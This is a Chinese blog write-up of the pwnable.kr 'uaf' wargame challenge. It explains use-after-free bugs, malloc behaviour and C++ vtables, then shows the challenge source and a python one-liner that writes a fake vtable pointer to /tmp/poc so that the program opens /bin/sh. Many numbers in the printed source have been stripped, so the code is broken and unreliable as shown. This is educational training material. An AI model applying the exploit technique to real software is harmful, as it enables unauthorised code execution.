pwnable.kr uaf之wp
几乎都想要放弃了,感觉学了好久还是什么都不会,这个题好像很难的样子,有很多知识点需要补充一下:
1.【UAF】分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。
2.【UAF利用】
(1)先搞出来一个迷途指针
(2)精心构造数据填充被释放的内存区域
(3)再次使用该指针,让填充的数据使eip发生跳转。
3.【malloc】
大于512字节的请求,是纯粹的最佳分配,通常取决于FIFO,就是最近使用过的。
小于64字节的请求,这是一个缓存分配器,保持一个快速的再生池块。
在这个两者之间的,对于大的和小的请求的组合,做的最好的是通过尝试,找到满足两个目标的最好的。
对于特别大的字节,大于128KB,如果支持的话,依赖于系统内存映射设备。
4.【虚函数】
虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类(vtable)中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。
接下来分析函数:
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std; class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
}; class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
}; class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
}; int main(int argc, char* argv[]){
Human* m = new Man("Jack", );
Human* w = new Woman("Jill", ); size_t len;
char* data;
unsigned int op;
while(){
cout << "1. use\n2. after\n3. free\n";
cin >> op; switch(op){
case :
m->introduce();
w->introduce();
break;
case :
len = atoi(argv[]);
data = new char[len];
read(open(argv[], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case :
delete m;
delete w;
break;
default:
break;
}
} return ;
}
如下:
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
类human有虚函数,所以有一个vtable,这个vtable中记录了类中所有虚函数的函数指针,即包括give_shell和introduce两个函数的函数指针。接着往下看:
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
这两个类函数,继承了hunam函数,实现了各自的Introduce,这两个类都会继承父类的vtable,vtable中introduce的函数指针被替换成了他们自己的函数地址。
接下来再看主函数:
int main(int argc, char* argv[]){
Human* m = new Man("Jack", );
Human* w = new Woman("Jill", );
size_t len;
char* data;
unsigned int op;
while(){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case :
m->introduce();
w->introduce();
break;
case :
len = atoi(argv[]);
data = new char[len];
read(open(argv[], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case :
delete m;
delete w;
break;
default:
break;
}
}
return ;
}
主函数是一个case选择:
1.调用两个类函数
2.分配data空间,从文件名为argv[2]中读取长度为argv[1]的字符到data部分。
3.释放对象
这里如果是先执行3再执行2,那么把对象空间释放并且把指针置NULL却又去引用了,就触发了UAF漏洞。那么如何操纵被释放的空间呢?可以看到在case2中,是从文件名为argv[2]中读取长度为argv[1]的字符到data部分。利用前面所述UAF漏洞,data在分配空间的时候就分配到了case3中被释放的空间。如果我们能够把introduce函数的指针覆盖为give_shell的指针,那么就可以在接着执行1,调用shell了。

可以看到程序中分配了24个字节,接着片下看:

此处调用了man函数,一步步跟进去,发现了give_shell地址

返回去看一下,发现了human的vtable,往上走一点,又发现了man的vtable:

下面的地址点进去后:分别是give_shell地址和introducd地址


而human中give_shell地址和与man一致,但introduce却不同:

接着分析swich函数,选择1,调用introduce函数,

补充:
当类中有虚函数的时候,编译器会为类插入一个我们看不见的数据并建立一个表。这个表就是虚函数表(vtbl),那个我们看不见的数据就是指向虚函数表的指针——虚表指针(vptr)。虚函数表就
是为了保存类中的虚函数的地址。我们可以把虚函数表理解成一个数组,数组中的每个元素存放的就是类中虚函数的地址。当调用虚函数的时候,程序不是像普通函数那样直接跳到函数的代码处,而
是先取出vptr即得到虚函数表的地址,根据这个来到虚函数表里,从这个表里取出该函数的地址,最后调用该函数。所以只要不同类的vptr不同,他对应的vtbl就不同,不同的vtbl装着对应类的
虚函数地址,这样虚函数就可以完成它的任务了。
于是根据上图可以分析出v13是vptr,再由

v13再转换为指针,加上8为introduce的第一个指针。然后调用introduce。
我们漏洞利用的思路是调用introduce的时候,换成give_shell地址调用。
所以往下分析:
前面我们分析了give_shell的地址和introduce的地址give_shell的地址+8=introduce的地址。即give_shell=introduce-8,(give_shell=v13+8-8),如果想调用introduce时调用成give_shell就要将introduce的地址减去8指向give_shell地址

如图,如果我们把vtable指向图中地址等于v13,那么v13+8调用introduce时不就调用成了give_shell
“在C++中,如果类中有虚函数,那么它就会有一个虚函数表的指针__vfptr,在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。”
那么根据这句话所说,这个程序在case2中读取数据的填充到data空间的时候,开始的八字节就是vtable。之后是类的数据。
所以利用过程如下:
uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" >/tmp/poc
uaf@ubuntu:~$ ./uaf /tmp/poc
得到:
选1先释放空间获得地址,选2读取数据填充到data空间,之后选择2是类的数据。然后选1调用函数

参考链接 :http://blog.csdn.net/qq_20307987/article/details/51511230
pwnable.kr uaf之wp的更多相关文章
- 【pwnable.kr】 uaf
目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...
- pwnable.kr的passcode
前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...
- [pwnable.kr]Dragon
0x00: dragon 是一个UAF漏洞的利用. UseAfterFree 是堆的漏洞利用的一种 简单介绍 https://www.owasp.org/index.php/Using_freed_m ...
- Pwnable.kr
Dragon —— 堆之 uaf 开始堆的学习之旅. uaf漏洞利用到了堆的管理中fastbin的特性,关于堆的各种分配方式参见堆之*bin理解 在SecretLevel函数中,发现了隐藏的syste ...
- pwnable.kr之brainf*ck
pwnable.kr之brainf*ck 今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获. 不多说了,今天看的是第二关的第一道题:brai ...
- pwnable.kr之simple Login
pwnable.kr之simple Login 懒了几天,一边看malloc.c的源码,一边看华庭的PDF.今天佛系做题,到pwnable.kr上打开了simple Login这道题,但是这道题个人觉 ...
- pwnable.kr bof之write up
这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...
- pwnable.kr col之write up
Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...
- pwnable.kr brainfuck之write up
I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...
随机推荐
- spark Listener和metrics实现分析
在spark内部,rpc可以用来实现不同组件(Driver, executor,client)之间的远程交互.而在同一组件内,spark还有事件监听机制,如spark中各种指标的采集主要就是通过事件监 ...
- [转]EntityFramework之领域驱动设计实践
本文转自:http://www.cnblogs.com/daxnet/archive/2010/11/02/1867392.html Entity Framework之领域驱动设计实践 EntityF ...
- Spring boot Jpa添加对象字段使用数据库默认值
Spring boot Jpa添加对象字段使用数据库默认值 jpa做持久层框架,项目中数据库字段有默认值和非空约束,这样在保存对象是必须保存一个完整的对象,但在开发中我们往往只是先保存部分特殊的字段其 ...
- postgresql版sde(10.4.1)安装说明
从ArcGIS 10.3开始,彻底没有了sde的安装包,安装sde数据库需要先安装arcgis desktop,通过arccatalog建数据库,同时也不能建sde服务,只能使用直连 以下演示在sde ...
- 类似QQ在线离线好友界面
把头像设置成圆形的代码如下: package com.example.lesson6_11_id19; import android.content.Context; import android.c ...
- SpringBoot学习 (一) Eclipse中创建新的SpringBoot项目
1. Eclipse中安装STS插件 (1)在线安装 Help--Eclipse Marketplace... 搜索“STS”,点击“install”安装 (2)本地安装 打开网页 http:/ ...
- 实战角度比较EJB2和EJB3的架构异同
] EJB编程模型的简化 首先,EJB3简化的一个主要表现是:在EJB3中,一个EJB不再象EJB2中需要两个接口一个Bean实现类,虽然我们以前使用JBuilder这样可视化开发工具自动生成了EJB ...
- COGS 2274. [HEOI 2016] tree
★☆ 输入文件:heoi2016_tree.in 输出文件:heoi2016_tree.out 简单对比时间限制:1 s 内存限制:128 MB 这道题数据弱到炸了 . 第一次做用树刨 ...
- 导入Excel表格(二)
1. 提取session中的数据.并进行分页操作,上传excel表格,保存到临时表格. 初始化临时表格,提交表单,判断状态是否为真,若为真,则启用 导入到数据库 的按钮:为false,让查询的url ...
- Unity3D_最简单的开始界面_结束界面
开始界面1.创建一个新的场景添加button 2.C#脚本LoadingGame.cs using System.Collections;using System.Collections.Generi ...